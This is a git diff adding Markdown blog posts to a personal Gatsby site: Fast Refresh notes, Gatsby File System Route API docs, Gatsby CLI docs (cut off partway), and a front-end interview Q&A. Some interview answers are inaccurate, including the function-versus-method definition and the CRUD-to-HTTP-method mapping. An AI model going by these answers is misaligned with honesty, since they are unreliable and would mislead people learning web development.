+-   If you edit a module with exports that *aren’t* React components, Fast Refresh will re-run both that module, and the other modules importing it. So if both `Button.js` and `Modal.js` import `Theme.js`, editing `Theme.js` will update both components.
+-   Finally, if you **edit a file** that’s **imported by modules outside of the React tree**, Fast Refresh **will fall back to doing a full reload**. You might have a file which renders a React component but also exports a value that is imported by a **non-React component**. For example, maybe your component also exports a constant, and a non-React utility module imports it. In that case, consider migrating the query to a separate file and importing it into both files. This will re-enable Fast Refresh to work. Other cases can usually be solved in a similar way.
+
+## Error Resilience
+
+If you make a **syntax error** during a Fast Refresh session, you can fix it and save the file again. The redbox will disappear. Modules with syntax errors are prevented from running, so you won’t need to reload the app.
+
+If you make a **runtime error during the module initialization** (for example, typing `Style.create` instead of `StyleSheet.create`), the Fast Refresh session will continue once you fix the error. The redbox will disappear, and the module will be updated.
+
+If you make a mistake that leads to a **runtime error inside your component**, the Fast Refresh session will *also* continue after you fix the error. In that case, React will remount your application using the updated code.
+
+If you have [error boundaries](https://reactjs.org/docs/error-boundaries.html) in your app (which is a good idea for graceful failures in production), they will retry rendering on the next edit after a redbox. In that sense, having an error boundary can prevent you from always getting kicked out to the root app screen. However, keep in mind that error boundaries shouldn’t be *too* granular. They are used by React in production, and should always be designed intentionally.
+
+## Limitations
+
+Fast Refresh tries to preserve local React state in the component you’re editing, but only if it’s safe to do so. Here’s a few reasons why you might see local state being reset on every edit to a file:
+
+-   Local state is not preserved for class components (only function components and Hooks preserve state).
+-   The module you’re editing might have *other* exports in addition to a React component.
+-   Sometimes, a module would export the result of calling higher-order component like `createNavigationContainer(MyScreen)`. If the returned component is a class, state will be reset.
+
+In the longer term, as more of your codebase moves to function components and Hooks, you can expect state to be preserved in more cases.
+
+## Tips
+
+-   Fast Refresh preserves React local state in function components (and Hooks) by default.
+-   Sometimes you might want to *force* the state to be reset, and a component to be remounted. For example, this can be handy if you’re tweaking an animation that only happens on mount. To do this, you can add `// @refresh reset` anywhere in the file you’re editing. This directive is local to the file, and instructs Fast Refresh to remount components defined in that file on every edit.
+
+## Fast Refresh and Hooks
+
+When possible, Fast Refresh attempts to preserve the state of your component between edits. In particular, `useState` and `useRef` preserve their previous values as long as you don’t change their arguments or the order of the Hook calls.
+
+Hooks with dependencies—such as `useEffect`, `useMemo`, and `useCallback`—will *always* update during Fast Refresh. Their list of dependencies will be ignored while Fast Refresh is happening.
+
+For example, when you edit `useMemo(() => x * 2, [x])` to `useMemo(() => x * 10, [x])`, it will re-run even though `x` (the dependency) has not changed. If React didn’t do that, your edit wouldn’t reflect on the screen!
+
+Sometimes, this can lead to unexpected results. For example, even a `useEffect` with an empty array of dependencies would still re-run once during Fast Refresh. However, writing code resilient to an occasional re-running of `useEffect` is a good practice even without Fast Refresh. This makes it easier for you to later introduce new dependencies to it.
+
+<!--EndFragment-->
diff --git a/src/pages/blog/file-system-route-api.md b/src/pages/blog/file-system-route-api.md
new file mode 100644
index 0000000000..d5aff6967b
--- /dev/null
+++ b/src/pages/blog/file-system-route-api.md
@@ -0,0 +1,377 @@
+---
+title: File System Route API
+template: post
+subtitle: GatsbyJS File System Route API
+excerpt: Use the File System Route API when you want to create dynamic pages
+date: 2022-05-16T00:22:26.250Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/file-system.jpg?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/file-system.jpg?raw=true
+image_position: right
+author: src/data/authors/backup.yaml
+categories:
+    - src/data/categories/gatsbyjs.yaml
+tags:
+    - src/data/tags/javascript.yaml
+    - src/data/tags/react.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/gatsby-cli.md
+cmseditable: true
+---
+
+Use the File System Route API when you want to create dynamic pages e.g. to create individual blog post pages for your blog.
+
+You should be able to accomplish most common tasks with this file-based API. If you want more control over the page creation you should use the [`createPages`](/docs/reference/config-files/gatsby-node#createPages) API.
+
+Dynamic pages can be created from collections in Gatsby's [GraphQL data layer](/docs/conceptual/graphql-concepts/) and to create [client-only routes](/docs/how-to/routing/client-only-routes-and-user-authentication).
+
+A complete example showcasing all options can be found in [Gatsby's examples folder](https://github.com/gatsbyjs/gatsby/tree/master/examples/route-api).
+
+## Collection routes
+
+Imagine a Gatsby project that sources a `product.yaml` file and multiple Markdown blog posts. At build time, Gatsby will automatically [infer](/docs/glossary/#inference) the fields and create multiple [nodes](/docs/glossary#node) for both types (`Product` and `MarkdownRemark`).
+
+To create collection routes, use curly braces (`{ }`) in your filenames to signify dynamic URL segments that relate to a field within the node. Here are a few examples:
+
+-   `src/pages/products/{Product.name}.js` will generate a route like `/products/burger`
+-   `src/pages/products/{Product.fields__sku}.js` will generate a route like `/products/001923`
+-   `src/pages/blog/{MarkdownRemark.parent__(File)__name}.js` will generate a route like `/blog/learning-gatsby`
+
+Gatsby creates a page for each node in a collection route. So if you have three markdown files that are blog posts, Gatsby will create the three pages from a collection route. As you add and remove markdown files, Gatsby will add and remove pages.
+
+Collection routes can be created for any GraphQL data type. Creating new collection routes in Gatsby is a process
+of adding a source plugin, use GraphiQL to identify the type and field to construct the route file name, and then code the route component.
+
+### Syntax (collection routes)
+
+There are some general syntax requirements when using collection routes:
+
+-   Dynamic segments of file paths must start and end with curly braces (`{ }`).
+-   Types are case-sensitive (e.g. `MarkdownRemark` or `contentfulMyContentType`). Check GraphiQL for the correct names.
+-   Dynamic segments must include both a type and a field e.g. `{Type.field}` or `{BlogPost.slug}`.
+
+### Nested routes
+
+You can use dynamic segments multiple times in a path. For example, you might want to nest product names within its product category. For example:
+
+-   `src/pages/products/{Product.category}/{Product.name}.js` will generate a route like `/products/toys/fidget-spinner`
+-   `src/pages/products/{Product.category}/{Product.name}/{Product.color}.js` will generate a route like `/products/toys/fidget-spinner/red`
+
+### Field syntax
+
+#### Dot notation
+
+Using `.` you signify that you want to access a field on a node of a type.
+
+`src/pages/products/{Product.name}.js` generates the following query:
+
+```javascript
+allProduct {
+  nodes {
+    id # Gatsby always queries for id
+    name
+  }
+}
+```
+
+#### Underscore notation
+
+Using `__` (double underscore) you signify that you want to access a nested field on a node.
+
+`src/pages/products/{Product.fields__sku}.js` generates the following query:
+
+```javascript
+allProduct {
+  nodes {
+    id # Gatsby always queries for id
+    fields {
+      sku
+    }
+  }
+}
+```
+
+You can nest as deep as necessary, e.g. `src/pages/products/{Product.fields__date__createdAt}.js` generates the following query:
+
+```javascript
+allProduct {
+  nodes {
+    id # Gatsby always queries for id
+    fields {
+      date {
+        createdAt
+      }
+    }
+  }
+}
+```
+
+#### Parentheses notation
+
+Using `( )` you signify that you want to access a [GraphQL union type](https://graphql.org/learn/schema/#union-types). This is often possible with types that Gatsby creates for you. For example, `MarkdownRemark` always has `File` as a parent type, and thus you can also access fields from the `File` node. You can use this multiple levels deep, too, e.g. `src/pages/blog/{Post.parent__(MarkdownRemark)__parent__(File)__name}.js`.
+
+`src/pages/blog/{MarkdownRemark.parent__(File)__name}.js` generates the following query:
+
+```graphql
+allMarkdownRemark {
+  nodes {
+    id # Gatsby always queries for id
+    parent {
+      … on File {
+        name
+      }
+    }
+  }
+}
+```
+
+### Collection Route Components
+
+Collection route components are passed two dynamic variables. The `id` of each page's node and the
+URL path as `params`. The params is passed to the component as `props.params` and the id as `props.pageContext.id`.
+
+Both are also passed as variables to the component's GraphQL query so you can query fields from the node. Page querying, including the use of variables, is explained in more depth in [querying data in pages with GraphQL](/docs/how-to/querying-data/page-query/).
+
+For example:
+
+```javascript
+import React from 'react';
+import { graphql } from 'gatsby';
+
+export default function Component(props) {
+    return props.data.fields.sku + props.params.name; // highlight-line
+}
+
+// This is the page query that connects the data to the actual component. Here you can query for any and all fields
+// you need access to within your code. Again, since Gatsby always queries for `id` in the collection, you can use that
+// to connect to this GraphQL query.
+
+export const query = graphql`
+    query ($id: String) {
+        product(id: { eq: $id }) {
+            fields {
+                sku
+            }
+        }
+    }
+`;
+```
+
+For the page `src/pages/{Product.name}/{Product.coupon}.js` you'd have `props.params.name` and `props.params.coupon` available inside `{Product.coupon}.js`.
+
+If you need to want to create pages for only some nodes in a collection (e.g. filtering out any product of type `"Food"`) or customize the variables passed to the query, you should use the [`createPages`](/docs/reference/config-files/gatsby-node#createPages) API instead as File System Route API doesn't support this at the moment.
+
+### Routing and linking
+
+Gatsby "slugifies" every route that gets created from collection pages (by using [`sindresorhus/slugify`](https://github.com/sindresorhus/slugify)). Or in other words: If you have a route called `src/pages/wholesome/{Animal.slogan}.js` where `slogan` is `I ♥ Dogs` the final URL will be `/wholesome/i-love-dogs`. Gatsby will convert the field into a human-readable URL format while stripping it of invalid characters.
+
+When you want to link to a collection route page, it may not always be clear how to construct the URL from scratch.
+
+To address this issue, Gatsby automatically includes a `gatsbyPath` field on every type used by collection pages. The `gatsbyPath` field must take an argument of the `filePath` it is trying to resolve. This is necessary because it’s possible that one type is used in multiple collection pages.
+
+There are some general syntax requirements when using the `filePath` argument:
+
+-   The path must be an absolute path (starting with a `/`).
+-   You must omit the file extension.
+-   You must omit the `src/pages` prefix.
+-   Your path must not include `index`.
+
+#### `gatsbyPath` example
+
+Assume that a `Product` type is used in two pages:
+
+-   `src/pages/products/{Product.name}.js`
+-   `src/pages/discounts/{Product.name}.js`
+
+If you wanted to link to the `products/{Product.name}` and `discounts/{Product.name}` routes from your home page, you would have a component like this:
+
+```javascript
+import React from 'react';
+import { Link, graphql } from 'gatsby';
+
+export default function HomePage(props) {
+    return (
+        <ul>
+            {props.data.allProduct.map((product) => (
+                <li key={product.name}>
+                    <Link to={product.productPath}>{product.name}</Link> (<Link to={product.discountPath}>Discount</Link>) // highlight-line
+                </li>
+            ))}
+        </ul>
+    );
+}
+
+export const query = graphql`
+  query {
+    allProduct {
+      name
+      productPath: gatsbyPath(filePath: "/products/{Product.name}") // highlight-line
+      discountPath: gatsbyPath(filePath: "/discounts/{Product.name}") // highlight-line
+    }
+  }
+`;
+```
+
+By using [aliasing](/docs/graphql-reference/#aliasing) you can use `gatsbyPath` multiple times.
+
+## Creating client-only routes
+
+Use [client-only routes](/docs/how-to/routing/client-only-routes-and-user-authentication) if you have dynamic data that does not live in Gatsby. This might be something like a user settings page, or some other dynamic content that isn't known to Gatsby at build time. In these situations, you will usually create a route with one or more dynamic segments to query data from a server in order to render your page.
+
+### Syntax (client-only routes)
+
+You can use square brackets (`[ ]`) in the file path to mark any dynamic segments of the URL. For example, in order to edit a user, you might want a route like `/user/:id` to fetch the data for whatever `id` is passed into the URL.
+
+-   `src/pages/users/[id].js` will generate a route like `/users/:id`
+-   `src/pages/users/[id]/group/[groupId].js` will generate a route like `/users/:id/group/:groupId`
+
+#### Splat routes
+
+Gatsby also supports _splat_ (or wildcard) routes, which are routes that will match _anything_ after the splat. These are less common, but still have use cases. Use three periods in square brackets (`[...]`) in a file path to mark a page as a splat route. You can also name the parameter your page receives by adding a name after the three periods (`[...myNameKey]`).
+
+As an example, suppose that you are rendering images from [S3](/docs/how-to/previews-deploys-hosting/deploying-to-s3-cloudfront/) and the URL is actually the key to the asset in AWS. Here is how you might create your file:
+
+-   `src/pages/image/[...].js` will generate a route like `/image/*`. `*` is accessible in your page's received properties with the key name `*`.
+-   `src/pages/image/[...awsKey].js` will generate a route like `/image/*awsKey`. `*awsKey` is accessible in your page's received properties with the key name `awsKey`.
+
+```javascript
+export default function ImagePage({ params }) {
+    const param = params[`*`];
+
+    // When visiting a route like `image/hello/world`,
+    // the value of `param` is `hello/world`.
+}
+```
+
+```javascript
+export default function ImagePage({ params }) {
+    const param = params[`awsKey`];
+
+    // When visiting a route like `image/hello/world`,
+    // the value of `param` is `hello/world`.
+}
+```
+
+Splat routes may not live in the same directory as regular client only routes.
+
+### Examples
+
+The dynamic segment of the file name (the part between the square brackets) will be filled in and provided to your components on a `props.params` object. For example:
+
+```js
+//
+//title=src/pages/users/[name].js
+function UserPage(props) {
+  const name = props.params.name
+}
+```
+
+```javascript
+function ProductsPage(props) {
+    const splat = props.params.awsKey;
+}
+```
+
+```javascript
+function AppPage(props) {
+  const splat = props.params[‘*’]
+}
+```
+
+## `config` function
+
+Inside a File System Route template you can export an async function called `config`. You can use this function to:
+
+-   Mark the page as deferred or not (see [Deferred Static Generation API reference](/docs/reference/rendering-options/deferred-static-generation/))
+
+Inside your template:
+
+```javascript
+import { graphql } from 'gatsby';
+
+// The rest of your page, including imports, page component & page query etc.
+
+export async function config() {
+    const { data } = graphql`
+    {
+      # Your GraphQL query
+    }
+  `;
+
+    return ({ params }) => {
+        return {
+            defer: params.name === data.someValue.name
+        };
+    };
+}
+```
+
+When you export an async `config` function Gatsby will evaluate the returned object and optionally run any GraphQL queries defined inside the outer function. You can't run GraphQL queries inside the inner function.
+
+The `params` parameter is an object that contains the URL path, see [explanation above](#collection-route-components).
+
+The inner function of `config` can return an object with one key:
+
+-   `defer`: Boolean of whether the page should be marked as deferred or not
+
+Read the [Deferred Static Generation guide](/docs/how-to/rendering-options/using-deferred-static-generation/) to see a real-world example.
+
+## Example use cases
+
+Have a look at the [route-api example](https://github.com/gatsbyjs/gatsby/tree/master/examples/route-api/src/pages/products) for more detail.
+
+### Collection route + fallback
+
+By using a combination of a collection route with a client-only route, you can create a seamless experience when a user tries to visit a URL from the collection route that doesn’t exist (yet) for the collection item. Consider these two file paths:
+
+-   `src/pages/products/{Product.name}.js` (collection route)
+-   `src/pages/products/[name].js` (client-only route, fallback)
+
+The collection route will create all available product pages at the time of the [build](/docs/glossary/build/). If you're adding a new product you want to link to but only periodically building your site, you'll need a fallback. By using a client-only route as a fallback you then can load the necessary information for the product on the client until you re-built your site.
+
+Similarly, the fallback page could also be used for when a product doesn't exist and you want to show some helpful information (like a 404 page).
+
+### Using one template for multiple routes
+
+By placing the template/view for your routes into a reusable component you can display the same information under different routes. Take this example:
+
+You want to display product information which is both accessible by name and SKU but has the same design. Create two file paths first:
+
+-   `src/pages/products/{Product.name}.js`
+-   `src/pages/products/{Product.meta__sku}.js`
+
+Create a view component at `src/view/product-view.js` that takes in a `product` prop. Use that component in both collection routes, e.g.:
+
+```javascript
+import React from 'react';
+import { graphql } from 'gatsby';
+import ProductView from '../../views/product-view';
+
+function Product(props) {
+    const { product } = props.data;
+    return <ProductView product={product} />;
+}
+
+export default Product;
+
+export const query = graphql`
+    query ($id: String!) {
+        product(id: { eq: $id }) {
+            name
+            description
+            appearance
+            meta {
+                createdAt
+                id
+                sku
+            }
+        }
+    }
+`;
+```
+
+You can copy the same code to the `src/pages/products/{Product.meta__sku}.js` file.
+
+### Purely client-only app
+
+If you want your Gatsby app to be 100% client-only, you can create a file at `src/pages/[...].js` to catch all requests. See the [client-only-paths example](https://github.com/gatsbyjs/gatsby/tree/master/examples/client-only-paths) for more detail.
diff --git a/src/pages/blog/front-end-interview-questions-part-2.md b/src/pages/blog/front-end-interview-questions-part-2.md
new file mode 100644
index 0000000000..c6ae40280f
--- /dev/null
+++ b/src/pages/blog/front-end-interview-questions-part-2.md
@@ -0,0 +1,276 @@
+---
+title: Front End Interview Questions Part 2
+template: post
+subtitle: These will focus more on vocabulary and concepts than the application
+  driven approach in my last post!
+excerpt: ­­­­If you were to describe semantic HTML to the next cohort of
+  students, what would you say
+date: 2022-05-23T08:41:53.757Z
+image: https://camo.githubusercontent.com/22121fcc4ed529e7fdaea851db57c0e7dbee2ceeffe6f62b536039b71c7362c0/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313230302f302a4433795149343267426b59706e4c58592e6a7067
+thumb_image: https://camo.githubusercontent.com/22121fcc4ed529e7fdaea851db57c0e7dbee2ceeffe6f62b536039b71c7362c0/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313230302f302a4433795149343267426b59706e4c58592e6a7067
+image_position: right
+author: src/data/authors/bgoonz.yaml
+tags:
+  - src/data/tags/career-1.yaml
+  - src/data/tags/javascript.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/python-quiz.md
+cmseditable: true
+---
+<!--StartFragment-->
+
+# Front End Interview Questions Part 2
+
+These will focus more on vocabulary and concepts than the application driven approach in my last post!
+
+- - -
+
+#### [](https://github.com/permission-squad/gist-notes/blob/main/2021-03-19_Front-End-Interview-Questions-Part-2-86ddc0e91443.md#codex)[CODEX](http://medium.com/codex)
+
+### [](https://github.com/permission-squad/gist-notes/blob/main/2021-03-19_Front-End-Interview-Questions-Part-2-86ddc0e91443.md#front-end-interview-questions-part2)Front End Interview Questions Part 2
+
+#### [](https://github.com/permission-squad/gist-notes/blob/main/2021-03-19_Front-End-Interview-Questions-Part-2-86ddc0e91443.md#these-will-focus-more-on-vocabulary-and-concepts-than-the-application-driven-approach-in-my-lastpost)These will focus more on vocabulary and concepts than the application-driven approach in my last post!
+
+[![](https://camo.githubusercontent.com/22121fcc4ed529e7fdaea851db57c0e7dbee2ceeffe6f62b536039b71c7362c0/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313230302f302a4433795149343267426b59706e4c58592e6a7067)](https://camo.githubusercontent.com/22121fcc4ed529e7fdaea851db57c0e7dbee2ceeffe6f62b536039b71c7362c0/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313230302f302a4433795149343267426b59706e4c58592e6a7067)
+
+### [](https://github.com/permission-squad/gist-notes/blob/main/2021-03-19_Front-End-Interview-Questions-Part-2-86ddc0e91443.md#heres-part-one-for-reference)Here’s part one for reference:
+
+[**The Web Developer’s Technical Interview**\
+*Questions….Answers… and links to the missing pieces.*bryanguner.medium.com](https://bryanguner.medium.com/the-web-developers-technical-interview-e347d7db3822 "https\://bryanguner.medium.com/the-web-developers-technical-interview-e347d7db3822")[](https://bryanguner.medium.com/the-web-developers-technical-interview-e347d7db3822)
+
+* **­­­­If you were to describe semantic HTML to the next cohort of students, what would you say?**
+
+Semantic HTML is markup that conveys meaning, not appearance, to search engines to make everything easier to identify.
+
+* **Name two big differences between display: block; and display: inline;.**
+
+block starts on a new line and takes up the full width of the content.\
+ inline starts on the same line as previous content, in line with other content, and takes up only the space needed for the content.
+
+· **What are the 4 areas of the box model?**
+
+content, padding, border, margin
+
+· **While using flexbox, what axis does the following property work on: align-items: center?**
+
+cross-axis
+
+· **Explain why git is valuable to a team of developers.**
+
+Allows you to dole out tiny pieces of a large project to many developers who can all work towards the same goal on their own chunks, allows roll back if you make a mistake; version control.
+
+· **What is the difference between an adaptive website and a fully responsive website?**
+
+An adaptive website “adapts” to fit a pre-determined set of screen sizes/devices, and a responsive one changes to fit all devices.
+
+· **Describe what it means to be mobile first vs desktop first.**
+
+It means you develop/code the site with mobile in mind first and work your way outward in screen size.
+
+· **What does font-size: 62.5% in the html tag do for us when using rem units?**
+
+This setting makes it so that 1 rem = 10 px for font size, easier to calculate.
+
+· **How would you describe preprocessing to someone new to CSS?**
+
+Preprocessing is basically a bunch of functions and variables you can use to store CSS settings in different ways that make it easier to code CSS.
+
+· **What is your favorite concept in preprocessing? What is the concept that gives you the most trouble?**
+
+Favorite is (parametric) mixins; but I don’t have a lot of trouble with preprocessing. What gives me the most trouble is knowing ahead of time what would be good to go in a mixin for a given site.
+
+· **Describe the biggest difference between .forEach & .map.**
+
+forEach iterates over an array item by item, and map calls a function on each array item, but returns another/additional array, unlike forEach.
+
+· **What is the difference between a function and a method?**
+
+Every function is an object. If a value is a function, it is a method. Methods have to be ‘received’ by something; functions do not.
+
+· **What is closure?**
+
+It is code identified elsewhere that we can use later; gives the ability to put functions together. If a variable isn’t defined, a function looks outward for context.
+
+· **Describe the four rules of the ‘this’ keyword.**
+
+1. Window/global binding — this is the window/console object. ‘use strict’; to prevent window binding.
+2. Implicit binding — when a function is called by a dot, the object preceding the dot is the ‘this’. 80 percent of ‘this’ is from this type of binding.
+3. New binding — points to new object created & returned by constructor function
+4. Explicit binding — whenever call, bind, or apply are used.
+
+· **Why do we need super() in an extended class?**
+
+Super ties the parent to the child.
+
+* **What is the DOM?**
+
+Document object model, the ‘window’ or container that holds all the page’s elements
+
+* **What is an event?**
+
+An event is something happening on or to the page, like a mouse click, doubleclick, key up/down, pointer out of element/over element, things like this. There are tons of “events” that javascript can detect.
+
+* **What is an event listener?**
+
+Javascript command that ‘listens’ for an event to happen on the page to a given element and then runs a function when that event happens
+
+* **Why would we convert a NodeList into an Array?**
+
+A NodeList isn’t a real array, so it won’t have access to array methods such as slice or map.
+
+* **What is a component?**
+
+Reusable pieces of code to display info in a consistent repeatable way
+
+· **What is React JS and what problems does it try and solve? Support your answer with concepts introduced in class and from your personal research on the web.**
+
+ReactJS is a library used to build large applications. It’s very good at assisting developers in manipulating the DOM element to create rich user experiences. We need a way to off-load the state/data that our apps use, and React helps us do that.
+
+· **What does it mean to *think* in react?**
+
+It makes you think about how to organize/build apps a little differently because it’s very scalable and allows you to build huge apps. React’s one-way data flow makes everything modular and fast. You can build apps top-down or bottom-up.
+
+· **Describe state.**
+
+Some data we want to display.
+
+· **Describe props.**
+
+Props are like function arguments in JS and attributes in HTML.
+
+· **What are side effects, and how do you sync effects in a React component to state or prop changes?**
+
+Side effects are anything that affects something outside the executed function’s scope like fetching data from an API, a timer, or logging.
+
+· **Explain benefit(s) using client-side routing?**
+
+Answer: It’s much more efficient than the traditional way, because a lot of data isn’t being transmitted unnecessarily.
+
+· **Why would you use class component over function components (removing hooks from the question)?**
+
+Because some companies still use class components and don’t want to switch their millions of dollars’ worth of code over to all functional hooks, and also there’s currently a lot more troubleshooting content out there for classes that isn’t out there for hooks. Also, functional components are better when you don’t need state, presentational components.
+
+· **Name three lifecycle methods and their purposes.**
+
+componentDidMount = do the stuff inside this ‘function’ after the component mounted
+
+componentDidUpdate = do the stuff inside this function after the component updated
+
+componentWillUnmount = clean-up in death/unmounting phase
+
+· **What is the purpose of a custom hook?**
+
+allow you to apply non-visual behavior and stateful logic throughout your components by reusing the same hook over and over again
+
+· **Why is it important to test our apps?**
+
+Gets bugs fixed faster, reduces regression risk, makes you consider/work out the edge cases, acts as documentation, acts as safety net when refactoring, makes code more trustworthy
+
+· **What problem does the context API help solve?**
+
+You can store data in a context object instead of prop drilling.
+
+· **In your own words, describe actions, reducers and the store and their role in Redux. What does each piece do? Why is the store known as a ‘single source of truth’ in a redux application?**
+
+Everything that changes within your app is represented by a single JS object called the store. The store contains state for our application. When changes are made to our application state, we never write to our store object but rather clone the state object, modify the clone, and replace the original state with the new copy, never mutating the original object. Reducers are the only place we can update our state. Actions tell our reducers “how” to update the state, and perhaps with what data it should be updated, but only a reducer can actually update the state.
+
+· **What is the difference between Application state and Component state? When would be a good time to use one over the other?**
+
+App state is global, component state is local. Use component state when you have component-specific variables.
+
+· **Describe redux-thunk, what does it allow us to do? How does it change our action-creators?**
+
+Redux Thunk is middleware that provides the ability to handle asynchronous operations inside our Action Creators, because reducers are normally synchronous.
+
+· **What is your favorite state management system you’ve learned and this sprint? Please explain why!**
+
+Redux, because I felt it was easier to understand than the context API.
+
+· **Explain what a token is used for.**
+
+Many services out in the wild require the client (our React app, for example) to provide proof that it’s authenticated with them. The server running these services can issue a JWT (JSON Web Token) as the authentication token, in exchange for correct login credentials.
+
+· **What steps can you take in your web apps to keep your data secure?**
+
+As we build our web apps, we will most likely have some “protected” routes — routes that we only want to render if the user has logged in and been authenticated by our server. The way this normally works is we make a login request, sending the server the user’s username and password. The server will check those credentials against what is in the database, and if it can authenticate the user, it will return a token. Once we have this token, we can add two layers of protection to our app. One with protected routes, the other by sending an authentication header with our API calls (as we learned in the above objective).
+
+· **Describe how web servers work.**
+
+The “world wide web” (which we’ll refer to as “the web”) is just a part of the internet — which is itself a network of interconnected computers. The web is just one way to share data over the internet. It consists of a body of information stored on web servers, ready to be shared across the world. The term “web server” can mean two things:
+
+· a computer that stores the code for a website
+
+· a program that runs on such a computer
+
+The physical computer device that we call a web server is connected to the internet, and stores the code for different websites to be shared across the world at all times. When we load the code for our websites, or web apps, on a server like this, we would say that the server is “hosting” our website/app.
+
+· **Which HTTP methods can be mapped to the CRUD acronym that we use when interfacing with APIs/Servers.**
+
+Create, Read, Update, Delete
+
+· **Mention two parts of Express that you learned about this week.**
+
+Routing/router, Middleware, convenience helpers
+
+· **Describe Middleware?**
+
+array of functions that get executed in the order they are introduced into the server code
+
+· **Describe a Resource?**
+
+o everything is a **resource**.
+
+o each resource is accessible via a **unique URI**.
+
+o resources can have multiple **representations**.
+
+o communication is done over a **stateless** protocol (HTTP).
+
+o management of resources is done via **HTTP methods**.
+
+· **What can the API return to help clients know if a request was successful?**
+
+200 status code/201 status code
+
+· **How can we partition our application into sub-applications?**
+
+By dividing the code up into multiple files and ‘requiring’ them in the main server file.
+
+· **Explain the difference between Relational Databases and SQL.**
+
+SQL is the language used to access a relational database.
+
+· **Why do tables need a primary key?**
+
+To uniquely identify each record/row.
+
+· **What is the name given to a table column that references the primary key on another table.**
+
+Foreign key
+
+· **What do we need in order to have a *many to many* relationship between two tables.**
+
+An **intermediary table** that holds foreign keys that reference the primary key on the related tables.
+
+· **What is the purpose of using *sessions*?**
+
+The purpose is to persist data across requests.
+
+· **What does bcrypt do to help us store passwords in a secure manner?**
+
+o password hashing function.
+
+o implements salting both manual and automatically.
+
+o accumulative hashing rounds.
+
+· **What does bcrypt do to slow down attackers?**
+
+Having an algorithm that hashes the information multiple times (rounds) means an attacker needs to have the hash, know the algorithm used, and how many rounds were used to generate the hash in the first place. So it basically makes it a lot more difficult to get somebody’s password.
+
+· **What are the three parts of the JSON Web Token?**
+
+Header, payload, signature
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/blog/gatsby-cli.md b/src/pages/blog/gatsby-cli.md
new file mode 100644
index 0000000000..649103ccf9
--- /dev/null
+++ b/src/pages/blog/gatsby-cli.md
@@ -0,0 +1,322 @@
+---
+title: Gatsby CLI
+template: post
+subtitle: 'The Gatsby CLI is available via npm '
+excerpt: 'The Gatsby command line tool  CLI is the main entry point for getting
+    up and running with a Gatsby application '
+date: 2022-05-15T23:44:13.229Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-cli.png?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-cli.png?raw=true
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/js.yaml
+    - src/data/categories/search.yaml
+    - src/data/categories/react.yaml
+    - src/data/categories/git.yaml
+    - src/data/categories/html.yaml
+tags:
+    - src/data/tags/cms.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/using-the-dom.md
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+# Commands (Gatsby CLI)
+
+## TABLE OF CONTENTS
+
+-   [How to use gatsby-cli](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#how-to-use-gatsby-cli)
+-   [API commands](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#api-commands)
+
+    -   [new](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#new)
+    -   [develop](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#develop)
+    -   [build](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#build)
+    -   [serve](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#serve)
+    -   [info](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#info)
+    -   [clean](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#clean)
+    -   [plugin](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#plugin)
+    -   [Repl](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#repl)
+    -   [Disabling colored output](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#disabling-colored-output)
+
+-   [How to change your default package manager for your next project?](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#how-to-change-your-default-package-manager-for-your-next-project)
+
+The Gatsby command line tool (CLI) is the main entry point for getting up and running with a Gatsby application and for using functionality including running a development server and building out your Gatsby application for deployment.
+
+_This page provides similar documentation as the gatsby-cli [README](https://github.com/gatsbyjs/gatsby/blob/master/packages/gatsby-cli/README.md). The [Gatsby cheat sheet](https://www.gatsbyjs.com/docs/cheat-sheet/) has docs for top CLI commands & APIs all ready to print out._
+
+## [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#how-to-use-gatsby-cli)How to use gatsby-cli
+
+The Gatsby CLI is available via [npm](https://www.npmjs.com/) and is installed globally by running `npm install -g gatsby-cli`.
+
+You can also use the `package.json` script variant of these commands, typically exposed _for you_ with most [starters](https://www.gatsbyjs.com/docs/starters/). For example, if you want to make the [`gatsby develop`](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#develop) command available in your application, open up `package.json` and add a script like so:
+
+package.json
+
+```js
+//on
+//package.json
+
+{
+    "scripts": {
+        "develop": "gatsby develop"
+    }
+}
+```
+
+## [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#api-commands)API commands
+
+All the following documentation is available in the tool by running `gatsby --help`.
+
+### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#new)`new`
+
+#### [](https://www.gatsbyjs.com/docs/reference/gatsby-cli/#usage)Usage
+
+```consoleell
+gatsby new
+```
+
+The CLI will run an interactive shell asking for these options before creating a Gatsby site for you:
+
+```consoleell
+gatsby new
+What would you like to name the folder where your site will be created?
+my-gatsby-site
+Will you be using a CMS? (single choice)
+  No (or I'll add it later)
+  –
+  WordPress
+  Contentful
+  Sanity
+  DatoCMS
+  Shopify
+Would you like to install a styling system? (single choice)
+  No (or I'll add it later)
+  –
+  CSS Modules/PostCSS
+  styled-components
+  Emotion
+  Sass
+  Theme UI
+Would you like to install additional features with other plugins? (multiple choice)
+  ◯ Add the Google Analytics tracking script
+  ◯ Add responsive images
